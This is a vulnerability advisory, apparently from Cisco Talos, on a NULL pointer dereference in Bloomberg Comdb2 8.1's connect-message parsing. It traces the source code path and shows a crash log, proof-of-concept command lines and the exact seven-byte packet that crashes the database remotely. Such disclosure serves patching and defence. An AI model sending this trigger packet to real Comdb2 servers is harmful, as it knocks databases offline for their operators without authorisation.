CVE-2025-36520
A null pointer dereference vulnerability exists in the net_connectmsg Protocol Buffer Message functionality of Bloomberg Comdb2 8.1. A specially crafted network packets can lead to a denial of service. An attacker can send packets to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Bloomberg Comdb2 8.1
Comdb2 - https://bloomberg.github.io/comdb2/
7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE-476 - NULL Pointer Dereference
Comdb2 is an open source, high-availability database that is developed by Bloomberg. It supports features such as clustering, transactions, snapshots, and isolation. The implementation of the database utilizes optimistic locking for concurrent operation.
The Comdb2 database system is based on two major services. The first service, pmux
, is a port multiplexer that is used to dynamically assign port numbers for different instances of the database. This service is implemented via a plaintext protocol and can be queried to identify the TCP port number that a specific database is listening on. The second service is the native comdb2
binary and is run for each instance of the desired database. The comdb2
binary is responsible for registering an available instance to the port multiplexing service. Communication with a Comdb2 instance is primarily handled by exchanging data with the client using the Google’s Protocol Buffers data format over a TCP session.
During startup, the comdb2
binary will execute the following function to assign callbacks that will be dispatched depending on the command initial command that is sent. Thus, when receiving a newline-delimited “newsql” string, the handle_newsql_request_evbuffer
function will be called at [1] in response.
plugins/newsql/newsql_evbuffer.c:1275-1282
static int newsql_init(void *arg)
{
dispatch_base = get_dispatch_event_base();
Pthread_create(&gethostname_thd, NULL, gethostname_fn, NULL);
add_appsock_handler("newsql\n", handle_newsql_request_evbuffer); // [1]
add_appsock_handler("@newsql\n", handle_newsql_admin_request_evbuffer);
return 0;
}
Then, when receiving a connection from a client the following accept_info_new
function will be called. At [2], a new event that calls the do_read
function will be created and dispatched to when the socket fd
is ready for reading.
net/net_evbuffer.c:848-866
static struct accept_info *accept_info_new(netinfo_type *netinfo_ptr, struct sockaddr_in *addr, int fd, int secure,
int badrte)
{
check_base_thd();
if (pending_connections > max_pending_connections) {
close_oldest_pending_connection();
}
++pending_connections;
struct accept_info *a = calloc(1, sizeof(struct accept_info));
a->netinfo_ptr = netinfo_ptr;
a->ss = *addr;
a->fd = fd;
a->secure = secure;
a->badrte = badrte;
a->ev = event_new(base, fd, EV_READ, do_read, a); // [2]
event_add(a->ev, NULL);
TAILQ_INSERT_TAIL(&accept_list, a, entry);
return a;
}
The implementation of the do_read
function starts out at [3] by reading a single byte from the socket fd
prior to decoding a connection message. After reading the single byte, it is then checked against the value ‘\x00
’ using the conditional at [4]. Once verified, the implementation will proceed into the rd_connect_msg_len
function at [5] to continue decoding.
net/net_evbuffer.c:2912-2949
static void do_read(int fd, short what, void *data)
{
check_base_thd();
struct accept_info *a = data;
struct evbuffer *buf = evbuffer_new();
ssize_t n = evbuffer_read(buf, fd, SBUF2UNGETC_BUF_MAX); // [3] Read bytes from socket
...
uint8_t first_byte;
evbuffer_copyout(buf, &first_byte, 1); // [3] Copy single byte out of buffer.
if (first_byte == 0) { // [4] Check if equal to '\0'.
evbuffer_drain(buf, 1);
a->buf = buf;
rd_connect_msg_len(fd, 0, a); // [5] decode connection message.
return;
}
...
}
The following snippet contains the implementation of the rd_connect_msg_len
function. At [6], the function will calculate the number of bytes required to read a connection message. This function will be called continously until the required number of bytes is reached. After the minimum number of bytes are available, a byte will be read at [7] and checked at [8] to see if it is equal to ‘*
’. After the implementation has confirmed the second byte is ‘\x2A
’, a 32-bit integer will be decoded from the socket in network byte order and used as a length for describing the size of the contained data. After determining the length, the function will call the rd_connect_msg
function at [10] to continue parsing the message. Similar to the implementation of the caller, the rd_connect_msg
function will calculate the number of required bytes at [11] and use it to read from the socket. After the number of bytes have been read, the call to the process_connect_message_proto
function at [12] will be executed.
net/net_evbuffer.c:2829-2862
static void rd_connect_msg_len(int fd, short what, void *data)
{
char first;
int len, n;
struct accept_info *a = data;
int need = sizeof(first) + sizeof(len) - evbuffer_get_length(a->buf); // [6] Calculate number of required bytes
...
if (n == need) { // [6] If required bytes are available.
evbuffer_copyout(a->buf, &first, 1); // [7] Read a byte from the buffer.
if (first == '*' && !gbl_debug_pb_connectmsg_gibberish) { // [8] Check if byte is equal to '*'.
evbuffer_drain(a->buf, 1);
evbuffer_remove(a->buf, &len, sizeof(len)); // [9] Read 32-bit length from buffer.
len = ntohl(len); // [9] Flip its byte order.
a->need = len;
a->uses_proto = 1;
} else {
a->need = NET_CONNECT_MESSAGE_TYPE_LEN;
a->uses_proto = 0;
}
rd_connect_msg(fd, 0, a); // [10] \ Call function to continue parsing.
} else if (event_base_once(base, fd, EV_READ, rd_connect_msg_len, a, NULL)) {
accept_info_free(a);
}
}
\
net/net_evbuffer.c:2728-2750
static void rd_connect_msg(int fd, short what, void *data)
{
struct accept_info *a = data;
int need = a->need - evbuffer_get_length(a->buf); // [11] Determine required length.
int n = evbuffer_read(a->buf, fd, need); // [11] Read number of bytes from socket.
...
int rc;
if (n == need) {
if (a->uses_proto) {
rc = process_connect_message_proto(a); // [12] Continue parsing connection message.
} else {
rc = process_connect_message(a);
}
} else {
rc = event_base_once(base, fd, EV_READ, rd_connect_msg, a, NULL);
}
...
}
The implementation of the process_connect_message_proto
function is shown below. This function will use the data read from the socket to decode a protocol buffer of type NetConnectMsg
at [13]. If the decoding process has failed in any way, this line will result in a NULL pointer being assigned to the c
variable. After the protocol buffer message has been decoded into c
, the implementation will proceed to duplicate the fields from the message into the accept_info
structure stored by parameter a
. Due to the implementation not checking if the decoding of the NetConnectmsg
has failed, the dereference occurring at [14] will attempt to dereference a NULL
pointer. This will cause the service to terminate which leads to a denial-of-service condition.
net/net_evbuffer.c:2680-2726
static int process_connect_message_proto(struct accept_info *a)
{
struct evbuffer *input = a->buf;
uint8_t *buf = evbuffer_pullup(input, a->need);
if (buf == NULL) {
return -1;
}
NetConnectmsg *c = net_connectmsg__unpack(NULL, a->need, buf); // [13] Decode the NetConnectmsg protocol buffer.
evbuffer_drain(input, a->need);
int bad = 0;
char *missing = "Connect message missing field";
if (c->to_hostname) // [14] Dereference NULL pointer.
a->to_host = strdup(c->to_hostname);
...
if (c->has_to_portnum)
a->c.to_portnum = c->to_portnum;
...
if (c->from_hostname)
a->from_host = strdup(c->from_hostname);
...
if (c->has_from_portnum)
a->c.from_portnum = c->from_portnum;
...
if (c->dbname)
a->dbname = strdup(c->dbname);
...
if (c->has_ssl && c->ssl) {
a->c.flags |= CONNECT_MSG_SSL;
}
net_connectmsg__free_unpacked(c, NULL);
return bad ? -1 : validate_host(a);
}
The definition of the net_connectmsg
protocol buffer is described below.
comdb2/protobuf/connectmsg.proto:4-11
message net_connectmsg {
optional string to_hostname = 1; // required
optional int32 to_portnum = 2; // required
optional string from_hostname = 3; // required
optional int32 from_portnum = 4; // required
optional string dbname = 5; // required
optional bool ssl = 6;
}
In the following snippet, the proof of concept is being run against the database that is listening on localhost.
$ python poc.zip localhost
...
The following is the output of the process when running the proof-of-concept.
bdb_open_int line 6103 calling rep_start as master with egen 494
new_master_callback_int: master:.invalid->9f622356c0fd old-gen:0->494 old-egen:0->495
I AM NEW MASTER NODE 9f622356c0fd
Collecting table aliases
user authentication disabled (bdberr: 15)
DBA user 'dba' already exists
hostname:9f622356c0fd cname:9f622356c0fd
I AM READY.
AddressSanitizer:DEADLYSIGNAL
=================================================================
==9911==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000018 (pc 0x000000e5d97f bp 0x7be40a3a36d0 sp 0x7be40a3a3690 T6)
==9911==The signal is caused by a READ memory access.
==9911==Hint: address points to the zero page.
#0 0x000000e5d97f in process_connect_message_proto /comdb2/net/net_evbuffer.c:2691
#1 0x000000e5df4f in rd_connect_msg /comdb2/net/net_evbuffer.c:2740
#2 0x000000e5f5d7 in rd_connect_msg_len /comdb2/net/net_evbuffer.c:2858
#3 0x000000e6018e in do_read /comdb2/net/net_evbuffer.c:2928
#4 0x7fe41a5be3c7 in event_process_active_single_queue (/lib64/libevent_core-2.1.so.7+0x1a3c7) (BuildId: 7afd9d1a3e72c3dab994f68587fa8e8f1ab1da06)
#5 0x7fe41a5c022e in event_base_loop (/lib64/libevent_core-2.1.so.7+0x1c22e) (BuildId: 7afd9d1a3e72c3dab994f68587fa8e8f1ab1da06)
#6 0x000000e3d3f6 in net_dispatch /comdb2/net/net_evbuffer.c:551
#7 0x7fe41a6290c5 in asan_thread_start(void*) (/lib64/libasan.so.8+0x290c5) (BuildId: 3e2f75b0e15e9c6aaa28cf1565c7bd0a29f62936)
#8 0x7fe419e7ef13 in start_thread (/lib64/libc.so.6+0x70f13) (BuildId: 3b8c8c659881d430486b1a3fc3f4fdc46f03102b)
#9 0x7fe419f01aab in __GI___clone3 (/lib64/libc.so.6+0xf3aab) (BuildId: 3b8c8c659881d430486b1a3fc3f4fdc46f03102b)
==9911==Register values:
rax = 0x0000000000000000 rbx = 0x0000000000000001 rcx = 0x00007df418bee6e8 rdx = 0x0000000000000000
rdi = 0x00007df418c62cc8 rsi = 0x0000000000000000 rbp = 0x00007be40a3a36d0 rsp = 0x00007be40a3a3690
r8 = 0x0000000000000418 r9 = 0x00007e34192de518 r10 = 0x0000000000000001 r11 = 0x00007df418c5f900
r12 = 0x00007be4081a2460 r13 = 0x00000f7c81034480 r14 = 0x00007be40a3a3750 r15 = 0x00007df418be5810
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /comdb2/net/net_evbuffer.c:2691 in process_connect_message_proto
Thread T6 created by T0 here:
#0 0x7fe41a6de6f2 in pthread_create (/lib64/libasan.so.8+0xde6f2) (BuildId: 3e2f75b0e15e9c6aaa28cf1565c7bd0a29f62936)
#1 0x000000e3d739 in init_base_priority /comdb2/net/net_evbuffer.c:575
#2 0x000000e3d884 in init_base /comdb2/net/net_evbuffer.c:581
#3 0x000000e64120 in setup_bases /comdb2/net/net_evbuffer.c:3402
#4 0x000000e6462b in init_event_net /comdb2/net/net_evbuffer.c:3466
#5 0x000000e64f66 in add_host /comdb2/net/net_evbuffer.c:3601
#6 0x000000e77808 in net_init /comdb2/net/net.c:2892
#7 0x00000091f514 in dbenv_open /comdb2/bdb/file.c:3000
#8 0x00000091f514 in bdb_open_int /comdb2/bdb/file.c:5979
#9 0x000000926bd3 in bdb_open_env /comdb2/bdb/file.c:6255
#10 0x00000052f555 in open_bdb_env /comdb2/db/glue.c:3846
#11 0x000000435c98 in init /comdb2/db/comdb2.c:4120
#12 0x000000408d4e in main /comdb2/db/comdb2.c:5836
#13 0x7fe419e115f4 in __libc_start_call_main (/lib64/libc.so.6+0x35f4) (BuildId: 3b8c8c659881d430486b1a3fc3f4fdc46f03102b)
#14 0x7fe419e116a7 in __libc_start_main@@GLIBC_2.34 (/lib64/libc.so.6+0x36a7) (BuildId: 3b8c8c659881d430486b1a3fc3f4fdc46f03102b)
#15 0x00000040dfb4 in _start (/opt/bb/bin/comdb2+0x40dfb4) (BuildId: 8d0c440e812314bc39238a8b7148054ba5811f3b)
==9911==ABORTING
In order to run the proof-of-concept, a database instance must be created in order to run the comdb2
service. The database will then be registered into the pmux
service when it starts up.
After everything is loaded, the pmux
service listens on port 5105 by default. This service allows one to query a list of the databases that have been registered and determine their port number.
To use the proof-of-concept, Python must be available. The proof-of-concept has two variations of connecting to the target database. The first variation connects to the pmux
service and picks the first database that is available. This is selected using the “–pmux” option followed by the hostname that the pmux
service is listening on. The following command line connects to the pmux service at “hostname” using the default port (5105/tcp).
$ python poc.zip --pmux hostname
The second variation will connect directly to the database port and requires the user to specify the database name using the “-b” parameter. The following command line will connect to the database named “testdb” at “hostname” on port 19000.
$ python poc.zip -b testdb hostname:19000
When running the first variation of the proof-of-concept, a client will likely query the pmux
service to determine the port number associated with a database instance. The pmux
service is a plain-text and newline-delimited protocol. The following 5-byte packet requests the pmux
service to list all of the ports that are being used by databases.
[0] <instance pmux.command<char_t> 'unnamed_7faf5b36b4d0'> {unnamed=True} (5) 'used\n'
Afterwards, the pmux
service will respond with the list of database instances that are available. If one database named “testdb” is currently instantiated, the response will look like the following.
[0] <instance pmux.newlined<char_t> 'unnamed_7faf4b7bc230'> {unnamed=True} (44) 'port 19000 name comdb2/replication/testdb\n'
Once the port number for the target database instance has been determined, the proof-of-concept will send a packet of the following format. The first two bytes of this packet must be set to 0x00
and 0x2A
. After the first two bytes have been transmitted, a 32-bit length followed by a protocol buffer message is sent.
<class appsock.rd_connect_msg> 'unnamed_7f2d7ae428d0' {unnamed=True}
[0] <instance pint.uint8_t 'first_byte'> 0x00 (0)
[1] <instance char_t 'first'> 0x2a '*'
[2] <instance be(pint.uint32_t) 'len'> 0x00000001 (1)
[6] <instance protobuf.MESSAGE 'connect_msg'> protobuf.TAGVALUE[1] "\x00"
If this protocol buffer message is invalid, then this vulnerability is being triggered. The following is a hexdump of the entire packet being sent.
0 00 2a 00 00 00 01 00 .*.....
2025-06-02 - Initial Vendor Contact
2025-06-05 - Vendor Disclosure
2025-06-06 - Vendor Patch Release
2025-07-22 - Public Release
Discovered by a member of Cisco Talos.